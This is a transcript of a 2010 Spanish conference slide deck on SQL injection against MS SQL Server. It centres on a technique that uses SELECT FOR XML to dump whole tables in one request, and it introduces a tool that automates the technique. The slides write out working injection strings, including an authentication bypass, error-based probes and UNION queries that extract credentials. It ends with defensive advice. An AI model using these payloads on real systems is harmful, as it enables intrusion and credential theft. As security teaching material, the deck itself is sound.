asegúr@it 7: serialized sql injection

32
SFX-SQLi SELECT FOR XML SQL INJECTION / SERIALIZED SQL INJECTION Extracción rápida de información utilizando inyección SQL con instrucciones XML Daniel Kachakil Asegur@IT 7 24/03/2010 Barcelona

Upload: chema-alonso

Post on 03-Jul-2015

2.780 views

Category:

Technology


0 download

DESCRIPTION

Presentación impartida por Dani "The Doctor" Kachakil en el Asegúr@IT 7 que tuvo lugar en Barcelona, el 24 de Marzo de 2010.

TRANSCRIPT

Page 1: Asegúr@IT 7: Serialized SQL Injection

SFX-SQLiSELECT FOR XML SQL INJECTION / SERIALIZED SQL INJECTION

Extracción rápida de información utilizando inyección SQL con instrucciones XML

Daniel KachakilAsegur@IT 7

24/03/2010 – Barcelona

Page 2: Asegúr@IT 7: Serialized SQL Injection

Contenido

¿Qué es la inyección SQL?

Técnicas de inyección SQL clásicas

Serialización y la cláusula FOR XML

Obtención de columnas y tipos

Ajuste de la inyección

Ejemplos y demos

2

Page 3: Asegúr@IT 7: Serialized SQL Injection

SQL injection

Page 4: Asegúr@IT 7: Serialized SQL Injection

¿Qué es la inyección SQL?

Vulnerabilidad de aplicaciones informáticas

Su origen está en el filtrado incorrecto o inexistente de los parámetros de entrada a la BD

Graves consecuencias: Cualquiera puede inyectar instrucciones SQL que terminan siendo ejecutadas por el motor de base de datos

4

Page 5: Asegúr@IT 7: Serialized SQL Injection

¿Qué es la inyección SQL?

5

Pero no es exclusiva de aplicaciones web

Page 6: Asegúr@IT 7: Serialized SQL Injection

Ataques a la seguridad

Integridad: Borrado o corrupción de datos

UPDATE, DELETE, INSERT, DROP, ...

Disponibilidad: Denegación de servicio

SHUTDOWN, consultas complejas, exploits, ...

Confidencialidad: Acceso a datos privados

Bypass de autenticación (' or '1'='1)

A ciegas (Blind SQL injection)

A través de mensajes de error

Anexando otros conjuntos de datos

6

Page 7: Asegúr@IT 7: Serialized SQL Injection

Inyección SQL básica

"SELECT * FROM Usuarios WHERE

nombre='" + usuario + "' AND pass='"

+ contraseña + "'"

Usuario:

Contraseña:

' or '1'='1

' or '1'='1

7

Page 8: Asegúr@IT 7: Serialized SQL Injection

Inyección SQL básica

"SELECT * FROM Usuarios WHERE

nombre='' or '1'='1' AND

pass='' or '1'='1'"

La condición WHERE siempre es cierta

Devuelve toda la tabla de usuarios

El primer registro suele coincidir con el del administrador

Usuarios

nombre pass esAdmin

admin P4$$_C0mPlej0! Sí

usuario1 password1 No

usuario2 password2 No

8

Page 9: Asegúr@IT 7: Serialized SQL Injection

Inyección SQL a ciegas

Booleanización: más eficiente con búsqueda binaria

EXISTS (SELECT … WHERE n < 128) V

EXISTS (SELECT … WHERE n < 64) V

EXISTS (SELECT … WHERE n < 32) F

EXISTS (SELECT … WHERE n < 48) V

EXISTS (SELECT … WHERE n < 40) F

EXISTS (SELECT … WHERE n < 44) F

EXISTS (SELECT … WHERE n < 46) F

EXISTS (SELECT … WHERE n < 47) V

Conclusión: n=46

9

Page 10: Asegúr@IT 7: Serialized SQL Injection

Ejemplo: Absinthe

10

Page 11: Asegúr@IT 7: Serialized SQL Injection

Inyección SQL basada en errores

"SELECT * FROM Acceso WHERE

usuario='' having 1=1--' AND

pass='x'"

11

Page 12: Asegúr@IT 7: Serialized SQL Injection

Inyección SQL basada en errores

"SELECT * FROM Acceso WHERE

usuario='' AND convert(int,

system_user)>0--' AND pass='x'"

12

Page 13: Asegúr@IT 7: Serialized SQL Injection

Inyección SQL anexando datos

"SELECT id, asunto, fecha FROM Notas

WHERE year(fecha)=2010 UNION SELECT

0, login+'/'+pass, null FROM Users"

13

Notas

id asunto fecha

1 Día festivo (año nuevo) 01-01-2010

2 Empiezan las rebajas 07-01-2010

... ... ...

0 admin/P4$$w0rd! NULL

0 user1/password1 NULL

Page 14: Asegúr@IT 7: Serialized SQL Injection

La cláusula FOR XML

Page 15: Asegúr@IT 7: Serialized SQL Injection

FOR XML (MS SQL Server 2005/2008)

"SELECT * FROM Numeros"

"SELECT * FROM Numeros FOR XML RAW"

15

Numero Nombre

1 Uno

2 Dos

3 Tres

4 Cuatro

XML_F52E2B61-18A1-11d1-B105-00805F49916B

<row Numero="1" Nombre="Uno" /><row Numero="2" Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row

Numero="4" Nombre="Cuatro" />

Page 16: Asegúr@IT 7: Serialized SQL Injection

Anexando una tabla en un campo

"SELECT asunto FROM Notas WHERE id=1

AND 1=0 UNION SELECT(SELECT * FROM

Users FOR XML RAW)"

16

asunto

Día festivo (año nuevo)

<row login="admin" pass="P4$$w0rd!" /><row login="user1" pass="password1" />

Page 17: Asegúr@IT 7: Serialized SQL Injection

Sintaxis de FOR XML

FOR XML { { RAW [ ( 'ElementName' ) ] | AUTO } [

<CommonDirectives> [ , { XMLDATA | XMLSCHEMA [ ( 'TargetNameSpaceURI' ) ] } ] [ , ELEMENTS [ XSINIL | ABSENT ]

] | EXPLICIT … | PATH …}

<CommonDirectives> ::= [ , BINARY BASE64 ][ , TYPE ][ , ROOT [ ( 'RootName' ) ] ]

17

Page 18: Asegúr@IT 7: Serialized SQL Injection

Obtención del númerode columnas

Page 19: Asegúr@IT 7: Serialized SQL Injection

GROUP BY / HAVING 1=1

HAVING 1=1

Error (cuyo texto revela el nombre de la primera columna)

GROUP BY columna1 HAVING 1=1

Error con el nombre de la segunda columna

GROUP BY columna1, columna2 HAVING 1=1

Error con el nombre de la tercera columna

...

GROUP BY columna1, columna2, columna3, … , columnaN HAVING 1=1

Sin errores

19

Page 20: Asegúr@IT 7: Serialized SQL Injection

ORDER BY N

ORDER BY 1

Sin errores

ORDER BY 2

Sin errores

...

ORDER BY N

Sin errores

ORDER BY N+1

Falla (Ante el primer fallo probar más valores por si se tratara de un campo no ordenable. Ej: de tipo binary/varbinary)

20

Page 21: Asegúr@IT 7: Serialized SQL Injection

UNION NULL

UNION SELECT null WHERE 0=1

Falla

UNION SELECT null, null WHERE 0=1

Falla

UNION SELECT null, null, null WHERE 0=1

Falla

...

UNION SELECT null, null, null, null, … , null WHERE 0=1

Sin errores

21

Page 22: Asegúr@IT 7: Serialized SQL Injection

Obtención del tipode datos

Page 23: Asegúr@IT 7: Serialized SQL Injection

Obtención del tipo de datos

Basta con encontrar una columna de tipo texto

char, varchar, nvarchar, ...

Si muestra errores:

CAST(), CONVERT()

En otro caso:

UNION SELECT null, null, 'a', null, null, ... [WHERE 1=0]

23

Page 24: Asegúr@IT 7: Serialized SQL Injection

Juntando las piezas

Page 25: Asegúr@IT 7: Serialized SQL Injection

Extracción serializando datos

… AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM Tabla FOR XML RAW, BINARY BASE64), … , vN

25

Notas

id asunto fecha

null<row login="admin" pass="P4$$w0rd!" />

<row login="user1" pass="password1" />null

Page 26: Asegúr@IT 7: Serialized SQL Injection

SFX-SQLi Tool

Page 27: Asegúr@IT 7: Serialized SQL Injection

SFX-SQLi Tool 1.0

Capaz de extraer tablas completas con una sola petición

Inyecciones GET y POST. SSL, cookies, proxy, etc

Si las tablas son muy grandes, las puede segmentar

Implementa todas las técnicas descritas antes

Ayuda al descubrimiento de columnas y tipos

Deshace la codificación HTML automáticamente

Log de todo lo que inyecta y de las respuestas

Visualización en explorador integrado y código fuente

27

Page 28: Asegúr@IT 7: Serialized SQL Injection

Novedades en SFX-SQLi Tool 1.1

Acceso completo a otras bases de datos del mismo servidor a través de la master

Ejecución de consultas personalizadas

Ajustes de configuración avanzada

Pequeñas mejoras y correcciones

28

Page 29: Asegúr@IT 7: Serialized SQL Injection

Medidas de protección

Page 30: Asegúr@IT 7: Serialized SQL Injection

Medidas de protección

Las de siempre: filtrar todas las entradas al gestor de bases de datos

Forzando la conversión de tipos para entradas numéricas

Filtrando o escapando los caracteres peligrosos para las cadenas de texto (comilla simple)

Siempre hacerlo en el servidor en última instancia (no confiar en JavaScript, Flash, Silverlight, etc)

30

Page 31: Asegúr@IT 7: Serialized SQL Injection

Medidas de protección

Utilizar los mecanismos de protección de la plataforma en la que estemos desarrollando

Consultas SQL parametrizadas, filtros predefinidos, etc.

Aplicar el principio de menor privilegio

Limita las consecuencias ante un ataque exitoso

No dar información detallada sobre los errores

“Contraseña incorrecta para el usuario usuario”

“Error al conectar con la base de datos mibasededatos”

Response.Write(ex.ToString()) en bloques Try - Catch

31

Page 32: Asegúr@IT 7: Serialized SQL Injection

Daniel Kachakil [email protected]

¡Muchas gracias!